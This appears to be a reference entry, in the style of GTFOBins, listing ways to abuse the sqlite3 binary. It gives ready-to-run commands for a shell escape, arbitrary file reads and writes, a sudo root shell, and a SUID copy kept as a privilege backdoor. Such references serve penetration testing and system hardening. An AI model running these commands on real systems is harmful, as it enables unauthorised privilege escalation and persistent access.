It can be used to break out from restricted environments by spawning an interactive system shell.
sqlite3 /dev/null '.shell /bin/sh'
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
LFILE=file_to_write sqlite3 /dev/null -cmd ".output $LFILE" 'select "DATA";'
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read sqlite3 << EOF CREATE TABLE t(line TEXT); .import $LFILE t SELECT * FROM t; EOF
It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on
sudo sqlite3 /dev/null '.shell /bin/sh'
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To exploit an existing SUID binary skip the first command and run the program using its original path.
sudo sh -c 'cp $(which sqlite3) .; chmod +s ./sqlite3' ./sqlite3 /dev/null '.shell /bin/sh'